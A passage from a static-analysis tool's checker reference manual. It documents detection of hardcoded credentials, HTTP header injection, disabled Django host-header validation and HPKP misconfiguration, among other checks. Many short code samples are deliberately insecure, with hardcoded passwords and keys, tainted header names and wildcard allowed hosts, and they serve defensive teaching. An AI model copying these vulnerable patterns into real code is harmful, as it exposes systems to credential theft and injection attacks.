**Web application security checker enablement:** To enable `HARDCODED_CREDENTIALS` along with other Web application checkers, use the `--webapp-security` option.

## 4.165.2. Defect Anatomy

A `HARDCODED_CREDENTIALS` defect describes how a hardcoded value defined in the source code is used as a security credential. The defect path first shows the definition of the hardcoded credential that uses, for example, a constant string. From there, the events in the defect show how this hardcoded value flows through the program, for example, from the argument of a function call to the parameter of the called function. Finally, the main event of the defect shows how this hardcoded value is ultimately used as a password, cryptographic key or security token.

## 4.165.3. Examples

### 4.165.3.1. C/C++

The following example uses a hardcoded string as a logon password. The checker reports a `hardcoded_credential_passwd` defect for this code.

```
void test() {
 char password[] = "ABCD1234!";
 HANDLE pHandle;
 LogonUserA("User", "Domain", password, 3, 0, &pHandle);
 // HARDCODED_CREDENTIALS defect at preceding statement
}
```

### 4.165.3.2. C#

```
using System;

public class HardcodedCredential {
 void Test(string username, string domain) {
 string hard_coded = "test";
 System.Net.NetworkCredential obj =
 new System.Net.NetworkCredential(username, hard_coded, domain);
 // HARDCODED_CREDENTIALS defect
 }
}
```

### 4.165.3.3. Go

The following code uses hardcoded strings as username and password credentials to create a `Userinfo` type object. A defect is shown for the `return` statement.

```
import . "net/url"

func UserInfo() *UserInfo{
 username := "User"
 password := "Password"
 return UserPassword(username, password) // HARDCODED_CREDENTIALS defect
}
```

#### 4.165.3.4. Java

The following example shows a hardcoded password as a parameter to the `DriverManager.getConnection` call. Users with access to this code can also access the database.

```
import java.sql.*;
Connection getCon(String url) throws SQLException {
 return DriverManager.getConnection(url,
 /*username*/ "leroy",
 /*password*/ "jenkins");
}
```

The next example shows a hardcoded cryptographic key as a parameter to the `SecretKeySpec` call.

```
String secret = "It's a secret to everybody.";
javax.crypto.spec.SecretKeySpec keyspec =
 new javax.crypto.spec.SecretKeySpec(secret.getBytes("UTF-8"), "AES");
```

The example below illustrates the use of a hardcoded security token from hardcoding credentials as parameters to the `UsernamePasswordAuthenticationToken` constructor.

```
import
 org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
new UsernamePasswordAuthenticationToken("Druidia", "12345");
```

#### 4.165.3.5. JavaScript

The following code uses a hardcoded password to create an instance of class `Cipher` to encrypt data. Anyone with access to this source code can decrypt such data using the hardcoded password. Changing the hardcoded password would require redeploying the code.

```
function unsafe_encrypt(data) {
 var crypto = require('crypto');
 var algorithm = 'aes192';
 var password = "ABCD1234!";

 var cipher = crypto.createCipher(algorithm, password);
 var cipher_text = cipher.update(data, 'utf8', 'base64');
 cipher_text += cipher.final('base64');
 return cipher_text;
}
```

#### 4.165.3.6. Kotlin

The following example shows a hardcoded password as a parameter to the `DriverManager.getConnection` call. Users with access to this code can also access the database.

```
import java.sql.Connection
```

---

```
import java.sql.DriverManager

fun getCon(url : String) : Connection = DriverManager.getConnection(url,
 /*username*/ "leroy",
 /*password*/ "jenkins")
```

The next example shows a hardcoded cryptographic key as a parameter to the `SecretKeySpec` .

```
var secret = "It's a secret to everybody."
var keyspec = SecretKeySpec(
 /* secret */ secret.toByteArray(Charsets.UTF_8),
 /* algorithm */ "AES")
```

The example below illustrates the use of a hardcoded security token from hardcoding credentials as parameters to the `UsernamePasswordAuthenticationToken` constructor.

```
import
 org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
fun token() = UsernamePasswordAuthenticationToken("Druidia", "12345");
```

#### 4.165.3.7. PHP

The following code opens a new connection to a MySQL server and uses a hardcoded string for the connection password. The checker reports a `HARDCODED_CREDENTIALS` defect.

```
<?php
$link = mysqli_connect("127.0.0.1", "my_user", "my_password", "my_db");
 // HARDCODED_CREDENTIALS defect at preceding statement

?>
```

#### 4.165.3.8. Python

The following Python code hard-codes an admin password.

```
from werkzeug.security import generate_password_hash, check_password_hash

admin_pass = "CHANGE_ME_SECRET_ADMIN_PASS"

def admin_login():
 if request.method == 'POST':
 uname = request.form['username']
 passwd = request.form['password']
 if(uname == 'admin'):
 return check_password_hash(generate_password_hash(passwd), admin_pass)
```

#### 4.165.3.9. Ruby

The following Ruby code includes a hardcoded string for an email account:

```
username = "email_user"
password = "ABCD1234!"

Net::SMTP.start('your.smtp.server', 25) do |smtp|
 smtp.authenticate(username, password)
end
```

#### 4.165.3.10. Swift

The following example uses a hardcoded password as a shared web credential.

```
private func initAdmin(completion: ((CFError?) -> Void)? = nil) {
 let domain: NSString = "synopsys.com"
 let user: NSString = "admin"
 let password: NSString = "p4ssw0rd"
 // Bug: the password is hardcoded in the source code
 SecAddSharedWebCredential(domain, user, password) { error in
 completion?(error)
 }
}
```

#### 4.165.3.11. Visual Basic

```
imports System

Public Class HardcodedCredential
 Sub Test(username As String, domain As String)
 Dim hard_coded As String = "test"
 Dim obj As System.Net.NetworkCredential =
 new System.Net.NetworkCredential(username, hard_coded, domain)
 ' HARDCODED_CREDENTIALS defect at previous line
 End Sub
End Class
```

### 4.165.4. Options

This section describes one or more `HARDCODED_CREDENTIALS` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `HARDCODED_CREDENTIALS:report_empty_credentials:<boolean>` - This option determines whether to report a hardcoded credential that is an empty string. For example, empty passwords are sometimes used in test code, local databases, or other places where it can be benign. While setting this option to true can make the analysis find more true defects, it might also produce more false positives. Defaults to `HARDCODED_CREDENTIALS:report_empty_credentials:false` (all languages except Ruby).

### 4.165.5. Models

The analysis reports a defect on a constant string or byte array that flows into one of the primitives. The difference among the sinks is the subcategory in which the defect is reported and the event message at the final call.

#### 4.165.5.1. C/C++

The following primitives are available for C/C++ analysis with `HARDCODED_CREDENTIALS`:

- `__coverity_hardcoded_credential_passwd_sink__(void *)`
- `__coverity_hardcoded_credential_crypto_sink__(void *)`
- `__coverity_hardcoded_credential_token_sink__(void *)`

This example uses `__coverity_hardcoded_credential_passwd_sink__` to model a function that uses data as a password:

```
void authenticate(char *data) {
 __coverity_hardcoded_credential_passwd_sink__(data);
}
```

Given the model above, passing a hardcoded string into the data parameter of this function results in a `HARDCODED_CREDENTIALS hardcoded_credential_passwd` defect report, as shown in the following example.

```
void test() {
 char data[] = "ABCD1234!";
 authenticate(data); // HARDCODED_CREDENTIALS defect
}
```

#### 4.165.5.2. C# and Visual Basic

The following primitives mark their parameters as used as a password, cryptographic key, or security token, respectively.

```
Coverity.Primitives.Security.HardcodedPasswordSink()
Coverity.Primitives.Security.HardcodedCryptographicKeySink()
Coverity.Primitives.Security.HardcodedSecurityTokenSink()
```

To generate a model from the following source code, you need to run `cov-make-library` on it.

```
// User model
using Coverity.Primitives;
class MyClass {
 public void usePassword(String password) {
 Security.HardcodedPasswordSink(password);
 }
}
```

The checker uses the resulting model file to find a defect in the following source code.

```
// Code under analysis
void login(MyClass x) {
 x.usePassword("12345"); // HARDCODED_CREDENTIALS defect
}
```

See the `Security.HardcodedConnectionStringSink(Object)` primitive in Section 5.2.1.3, “C# and Visual Basic Primitives”.

#### 4.165.5.3. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func hardcoded_connection_password_function(data interface{}) {
 PasswordSink(data);
}
```

The `PasswordSink()` primitive instructs `HARDCODED_CREDENTIALS` to report a defect if the argument to `hardcoded_connection_password_function()` is a hardcoded password.

#### 4.165.5.4. Java and Kotlin

The following methods are model primitives that mark their parameters as used as a password, cryptographic key, or security token, respectively.

```
com.coverity.primitives.SecurityPrimitives
 .hardcoded_credential_passwd_sink(Object password)
 .hardcoded_credential_crypto_sink(Object key)
 .hardcoded_credential_token_sink(Object token)
```

To generate a model from the following source code, you need to run **cov-make-library** on it.

```
// User model
import com.coverity.primitives.SecurityPrimitives;
class MyClass {
 public void usePassword(String password) {
 SecurityPrimitives.hardcoded_credential_passwd_sink(password);
 }
}
```

The checker uses the resulting model file to find a defect in the following source code when `usePassword` is called with a hardcoded password.

```
// Code under analysis
void login(MyClass x) {
 x.usePassword("12345");
}
```

```
}
```

#### 4.165.5.5. JavaScript

You can help the `HARDCODED_CREDENTIALS` checker find more defects in JavaScript code by using the `sink_for_checker` directive to specify additional function arguments that take passwords, security tokens, or cryptographic keys. We call such function arguments `sinks` for `HARDCODED_CREDENTIALS`. `HARDCODED_CREDENTIALS` reports a defect when a constant string flows into a sink.

The following JSON file specifies a `sink_for_checker` directive for `HARDCODED_CREDENTIALS`. It tells the checker to treat the first argument of the function `usePassword` (of any object) as a sink for `HARDCODED_CREDENTIALS`. Please refer to `sink_for_checker` directive for more details on this directive.

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "javascript",
 "directives" : [
 {
 sink_for_checker: "HARDCODED_CREDENTIALS",
 sink: {
 "input": "arg1",
 "to_callsite": {
 "call_on": {
 "read_off_any" : [
 { "property" : "usePassword" }
]
 }
 }
 }
 }
],
}
```

If you pass the directive file above to `cov-analyze`, `HARDCODED_CREDENTIALS` reports a defect in the following source code.

```
function login(x) {
 x.usePassword("12345");
}
```

## 4.166. HEADER\_INJECTION

Security Checker

### 4.166.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript, Visual Basic

HEADER\_INJECTION finds header injection vulnerabilities, which arise from using uncontrolled dynamic data in an HTTP header name. This security vulnerability might allow an attacker to set or overwrite important header values.

The impact of this issue varies based on the following factors:

- Whether the attacker controls the entire HTTP header name.
- Whether the attacker also controls the associated HTTP header value.

Header injection in HTTP responses can allow for more insidious attacks, such as cross-site scripting (XSS) or open redirects.

- **Disabled by default:** HEADER\_INJECTION is disabled by default for C, C++, C#, Java, JavaScript, PHP, Python, Objective-C, Objective-C++, TypeScript, Visual Basic. To enable it, you can use the `--enable` option to the `cov-analyze` command. For the C/C++ languages, you can enable it using the `--security` option.

**Web application security checker enablement:** To enable HEADER\_INJECTION along with other Web application checkers, use the `--webapp-security` option.

- **Enabled by default:** HEADER\_INJECTION is enabled by default for Go and Kotlin.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.166.2. Defect Anatomy

A HEADER\_INJECTION defect shows a dataflow path by which untrusted (tainted) data makes its way into an HTTP header element. The severity of the attack depends on the kind of the HTTP header that can be polluted. The path starts at a source of untrusted data, such as a reading of some part of the header of an HTTP request message. From there, the events in the defect show how this tainted data flows through the program and eventually ends up in a function that sets up the header of an HTTP response message. The HTTP message is then sent to a victim.

### 4.166.3. Examples

This section provides one or more HEADER\_INJECTION examples.

#### 4.166.3.1. C#

The following injection allows an attacker to set important HTTP headers (such as `set-cookie`, `X-Frame-Options`, and so on) to disable some security mechanism, or, for example, to fix the session ID.

```
var resp = System.Web.HttpContext.Current.Response;
var req = System.Web.HttpContext.Current.Request;
// ...
```

```
resp.AddHeader(req.Params["header_name"],
 req.Params["header_value"]);
```

#### 4.166.3.2. C, C++

The following example displays a defect for the `curl_easy_setopt` call.

```
int copy_cookie_to_header(CURL *handle, int socket)
{
 char message[1024];
 if (recv(socket, message, sizeof(message), 0) <= 0) {
 return -1;
 }
 return curl_easy_setopt(handle, CURLOPT_HTTPHEADER, message); // defect
}
```

#### 4.166.3.3. Go

The following injection allows an attacker to set important HTTP headers (such as `set-cookie`, `X-Frame-Options`, and so on) to disable some security mechanism, or, for example, to fix the session ID.

```
func SetSomeHeader(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
 queryValues := r.URL.Query()
 w.Header().Set(queryValues.Get("name"), queryValues.Get("value")) // Defect here
}
```

#### 4.166.3.4. Java

The following injection allows an attacker to set important HTTP headers (such as `set-cookie`, `X-Frame-Options`, and so on) to disable some security mechanism, or, for example, to fix the session ID.

```
HttpServletRequest req;
HttpServletResponse resp;
// ...
resp.addHeader(req.getParameter("header_name"),
 req.getParameter("header_value"));
```

In the following example, the attacker does not have as much control, but it is nevertheless possible to disable the UI redressing protection (through `X-Frame-Options`).

```
resp.setHeader("X-Frame-Options", "SAMEORIGIN");
// ...
String n = req.getParameter("http_name");
String v = req.getParameter("http_value");
resp.setHeader("X-" + n, v);
```

#### 4.166.3.5. JavaScript

```
function req(url, value, elem) {
```

```
var req = new XMLHttpRequest();
req.open('GET', url, true);
var h = location.hash.substring(1); // Tainted data
if (h) {
 req.setRequestHeader(h, value); // Setting header with tainted data
}
req.send(null);
req.onreadystatechange = function () {
 if (req.readyState == 4 && req.status == 200) {
 elem.childNodes[0].textContent = req.responseText;
 }
}
}
```

#### 4.166.3.6. Kotlin

The following injection allows an attacker to control the HTTP headers of the request sent to the server, by altering the content of a text file. The impact of this attack depends on how well the server can handle unexpected headers keys and values. To report the following defect, run **cov-analyze** with the following option: `--checker-option HEADER_INJECTION:trust_filesystem:false`

```
class Test : Activity() {
 fun loadFunPage(context: Context, webView: WebView, additionalHeaders:
MutableMap<String, String>) {
 val file = File(context.getExternalFilesDir(null), "saved-extra-headers.txt")
 val content = file.readText()

 for (pair in content.split(",")) {
 val (key, value) = pair.split("=")
 additionalHeaders[key] = value
 }

 webView.loadUrl("www.fun.com", additionalHeaders)
 }
}
```

#### 4.166.3.7. PHP

The following PHP code uses tainted data from the request URL to construct an HTTP header (in this case to redirect the user):

```
$redirect = $_GET['redirect'];
header("Location: $redirect"); // HEADER_INJECTION defect
```

#### 4.166.3.8. Python

The following Python code uses tainted data from the request URL to construct an HTTP header (in this case to redirect the user):

```
import requests
```

```
import httplib

def Test():
 taint = requests.get('example.com').text
 http = httplib.HTTP(host='host', port='port', strict='strict')
 http.putheader(taint)
```

#### 4.166.3.9. Visual Basic

The following Visual Basic code uses tainted data from the request URL to create an HTTP header:

```
Dim request As System.Web.HttpRequest
Dim response As System.Web.HttpResponse
' ...
Dim taint As String = request("taint")
response.AddHeader(taint, "header")
```

#### 4.166.4. Options

This section describes one or more `HEADER_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `HEADER_INJECTION:distrust_all:<boolean>` - [C, C++, C#, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `HEADER_INJECTION:distrust_all:false`.

This checker option is automatically set to `true` if the `HEADER_INJECTION:webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `HEADER_INJECTION:trust_command_line:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `HEADER_INJECTION:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line option.
- `HEADER_INJECTION:trust_console:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `HEADER_INJECTION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line option.
- `HEADER_INJECTION:trust_cookie:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `HEADER_INJECTION:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line option.

- `HEADER_INJECTION:trust_database:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to `HEADER_INJECTION:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line option.
- `HEADER_INJECTION:trust_environment:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `HEADER_INJECTION:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line option.
- `HEADER_INJECTION:trust_filesystem:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `HEADER_INJECTION:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line option.
- `HEADER_INJECTION:trust_http:<boolean>` - [C, C++, Go, JavaScript, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `HEADER_INJECTION:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line option.
- `HEADER_INJECTION:trust_http_header:<boolean>` - [C, C++, Go, JavaScript, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `HEADER_INJECTION:trust_http_header:true`. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line option.
- `HEADER_INJECTION:trust_js_client_cookie:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `HEADER_INJECTION:trust_js_client_cookie:true`.
- `HEADER_INJECTION:trust_js_client_external:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `HEADER_INJECTION:trust_js_client_external:false`.
- `HEADER_INJECTION:trust_js_client_html_element:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `HEADER_INJECTION:trust_js_client_external:true`.
- `HEADER_INJECTION:trust_js_client_http_header:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `HEADER_INJECTION:trust_js_client_http_header:true`.

- `HEADER_INJECTION:trust_js_client_http_referer:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from the 'referer' HTTP header (from `document.referrer`) in client-side JavaScript code. Defaults to `HEADER_INJECTION:trust_js_client_http_referer:false`.
- `HEADER_INJECTION:trust_js_client_other_origin:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name`, in client-side JavaScript code. Defaults to `HEADER_INJECTION:trust_js_client_other_origin:false`.
- `HEADER_INJECTION:trust_js_client_url_query_or_fragment:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `HEADER_INJECTION:trust_js_client_url_query_or_fragment:false`.
- `HEADER_INJECTION:trust_network:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `HEADER_INJECTION:trust_network:false`. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line option.
- `HEADER_INJECTION:trust_rpc:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `HEADER_INJECTION:trust_rpc:false`. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line option.
- `HEADER_INJECTION:trust_system_properties:<boolean>` - [C, C++, Go, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, TypeScript only] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `HEADER_INJECTION:trust_system_properties:true`. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line option.
- `HEADER_INJECTION:trust_mobile_other_app:<boolean>` - [JavaScript, Kotlin, TypeScript only] Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `HEADER_INJECTION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line option.
- `HEADER_INJECTION:trust_mobile_other_privileged_app:<boolean>` - [JavaScript, Kotlin, TypeScript only] Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `HEADER_INJECTION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line option.

- `HEADER_INJECTION:trust_mobile_same_app:<boolean>` - [JavaScript, Kotlin, TypeScript only] Setting this option to `false` causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `HEADER_INJECTION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line option.
- `HEADER_INJECTION:trust_mobile_user_input:<boolean>` - [JavaScript, Kotlin, TypeScript only] Setting this option to `true` causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `HEADER_INJECTION:trust_mobile_user_input:false`. Setting this checker option will override the global `-trust-mobile-user-input` and `--distrust-mobile-user-input` command line option.

#### 4.166.5. Models and Annotations

With `cov-make-library`, you can use the following Coverity Analysis primitives to create custom models for `HEADER_INJECTION`.

##### 4.166.5.1. C, C++

The following model indicates that `addHeader()` is a taint sink (of type `HTTP_HEADER`) for the arguments `key` and `val`:

```
void addHeader(struct response_s *response, char const *key, char const *val) {
 __coverity_taint_sink__(key, HTTP_HEADER);
 __coverity_taint_sink__(val, HTTP_HEADER);
}
```

You can model taint sources with the `__coverity_mark_pointee_as_tainted__` modeling primitive. For example, the following model indicates that `packet_get_string()` returns a tainted string from the network:

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAINT_TYPE_NETWORK);
 return ret;
}
```

The next model indicates that `custom_sanitizе()` returns `true` if the `s` argument is valid (and thus should no longer be considered tainted). If the `s` argument is not valid, `custom_sanitizе()` returns `false` and the analysis continues to track `s` as tainted:

```
bool custom_sanitizе(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, HTTP_HEADER);
 return true;
 }
 return false;
}
```

```
}

```

As an alternative to library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitize`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitize()` sanitizes its `s` string argument:

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}

```

- `+taint_source` (without an argument): Specifies that the function returns tainted string data. For example, the following code specifies that `packet_get_string()` returns a tainted string value:

```
// coverity[+taint_source]
char* packet_get_string() {...}

```

- `+taint_source` (with an argument): Specifies that the function taints the contents of the specified string argument. For example, the following specifies that `custom_string_read()` taints the contents of its `s` argument:

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}

```



#### Note

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

You can use the following function annotation tags to ignore function models:

- `-taint_sanitize`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitize()` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}

```

- `-taint_source` (without an argument): Specifies that the function does not return tainted string data. For example, the following specifies that `packet_get_string()` does not return a tainted string value:

```
// coverity[-taint_source]
char* packet_get_string() {...}

```

- `-taint_source` (with an argument): Specifies that the function does not taint the contents of the specified string argument. For example, the following specifies that `custom_string_read()` does not taint the contents of its `s` argument:

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

#### 4.166.5.2. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_headers_function(data interface{}) {
 HeaderSink(data);
}
```

The `HeaderSink()` primitive instructs `HEADER_INJECTION` to report a defect if the argument to `injecting_into_headers_function()` is from an untrusted source.

#### 4.166.5.3. Java

In Java, the primitives are defined in the class `com.coverity.primitives.SecurityPrimitives` and take an `Object` as an argument, for example:

```
public class MyClass {

 void injecting_into_headers_function(java.lang.String data) {
 com.coverity.primitives.SecurityPrimitives.http_header_sink(data);
 }
}
```

The `HEADER_INJECTION` checker will report defects if the argument is from an untrusted source.

### 4.167. HFA

Quality Checker

#### 4.167.1. Overview

This C checker (HFA, a header file analysis checker) finds many instances of unnecessary header file includes. This checker works only on C (not C++) code. An unnecessary header file include can occur when the header file prototypes functions and data structures that are not needed in that source file.

Including unnecessary header files does not cause problems with the analysis, but can slow build performance by requiring the compiler to perform additional work. Use this checker to identify these unneeded headers, and then manually eliminate the includes to speed future builds.

**Disabled by Default:** HFA is turned off by default. To enable this checker, use the `-en hfa` option to the `cov-analyze` command. Note that `cov-analyze --all` does not enable this checker.

### 4.167.2. Examples

This section provides one or more HFA examples.

If `eight.h` contains

```
#define EIGHT 8
```

and `test.c` contains

```
#include "seven.h"
#include "eight.h"

int seven = SEVEN;
```

then the include of `eight.h` is unnecessary, because `EIGHT` is not used in `test.c`.

### 4.167.3. Events

This section describes one or more events produced by the HFA checker.

- `unnecessary header` : An unnecessary header file is included in this file.

## 4.168. HIBERNATE\_BAD\_HASHCODE

Quality Checker

### 4.168.1. Overview

**Supported Languages:** Java

`HIBERNATE_BAD_HASHCODE` finds many instances where the `hashCode()` or `equals()` method of a Hibernate entity (or other Java Persistence API (JPA) entity) depends on the database primary key (usually annotated with `@Id`). Because the key is not assigned until after persisting an object, it is unsafe to use such entities with Java collections before persisting. An incorrect `hashCode()` implementation can result in entities "disappearing" from a set (that is, `set.contains(obj)` unexpectedly returning `false`).

**Enabled by default:** `HIBERNATE_BAD_HASHCODE` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.168.2. Examples

This section provides one or more `HIBERNATE_BAD_HASHCODE` examples.

The recommended way to define `hashCode()` and `equals()` is to only depend on business keys.

```

@Entity
class Parent {
 ...
 @OneToMany(mappedBy = "parent", cascade=CascadeType.ALL)
 private Set<Child> children = new HashSet<Child>();
 public Set<Child> getChildren() { return children; }
 public void setChildren(Set<Child> c) { children = c; }
 ...
}

@Entity
class Child {
 @Id @GeneratedValue
 @Column(name = "child_id")
 private Long id;
 public Long getId() { return id; }
 private void setId(Long id) { this.id = id; }

 public int hashCode() {
 // this depends on 'id' but shouldn't.
 return getId()!=null ? getId().hashCode() : 0;
 }
 ...
}

...
Parent p = new Parent();
Child c = new Child();
c.setParent(p);
p.getChildren().add(c); // adding a transient entity to a set
session.save(p);

// assertion fails!
assert p.getChildren().contains(c);
...

```

### 4.168.3. Options

This section describes one or more `HIBERNATE_BAD_HASHCODE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `HIBERNATE_BAD_HASHCODE:strict:<boolean>` - When this Java option is set to `true`, the checker reports instances where `hashCode()` or `equals()` depend on a database key, even when no problematic accesses to Java collections are found. Defaults to `HIBERNATE_BAD_HASHCODE:strict:false`

In addition, the option `--hibernate-config` to the **cov-analyze** command can be used to specify a directory that contains Hibernate mapping XML files, if applicable.

#### 4.168.4. Events

This section describes one or more events produced by the `HIBERNATE_BAD_HASHCODE` checker.

- `id_member` - Indicates a member variable that represents a database primary key, either by being annotated with `@javax.persistence.Id` in the source code, or by being marked with the `<id>` tag in a Hibernate mapping XML file.
- `bad_hashcode` - Indicates an implementation of `hashCode()` that uses a database primary key.
- `bad_equals` - Indicates an implementation of `equals()` that uses a database primary key.
- `new_transient` - Indicates the creation of a new entity.
- `collection_access` - Indicates that an entity (with an unassigned primary database key) is used to access a Java collection.

### 4.169. HOST\_HEADER\_VALIDATION\_DISABLED

Security Checker

#### 4.169.1. Overview

**Supported Languages:** Python

The `HOST_HEADER_VALIDATION_DISABLED` checker finds cases where host header validation list is set to allow access from all hosts. Not configuring host validation properly for a Django application may lead to host header attacks used to accomplish cross-site request forgery, cache poisoning, and poisoning links in emails.

The `HOST_HEADER_VALIDATION_DISABLED` is disabled by default. It is only enabled in Audit Mode.

#### 4.169.2. Examples

This section provides one or more `HOST_HEADER_VALIDATION_DISABLED` examples.

In the following example, a `HOST_HEADER_VALIDATION_DISABLED` defect is displayed for setting `ALLOWED_HOSTS` to `*` in a Python settings file:

```
ALLOWED_HOSTS = ['*'] # defect here
```

### 4.170. HPKP\_MISCONFIGURATION

#### 4.170.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `HPKP_MISCONFIGURATION` checker finds the following cases of the HTTP Public Key Pinning (HPKP) insecure configuration using modules `helmet` and `hpkp`.

- Setting the `maxAge` property to a value greater than two months.
- Configuring the report URI to send reports over an insecure channel.
- Setting the `setIf` function to always return `false`.

The `HPKP_MISCONFIGURATION` checker is disabled by default. To enable it, use the `--webapp-security` option to the `cov-analyze` command.

## 4.170.2. Examples

This section provides one or more `HPKP_MISCONFIGURATION` examples.

In the following example, a `HPKP_MISCONFIGURATION` defect is displayed for the property `maxAge` set to a value greater than two months.

```
var express = require('express');
var helmet = require('helmet');
var app = express();

app.use(helmet.hpkp({
 maxAge: 15256000000, //
#defect#HPKP_MISCONFIGURATION##hpkp_misconfiguration_of_max_age
 sha256s:
 ['cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=', 'M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE=']
}));
```

## 4.171. IDENTICAL\_BRANCHES

Quality Checker

### 4.171.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, TypeScript, and Visual Basic

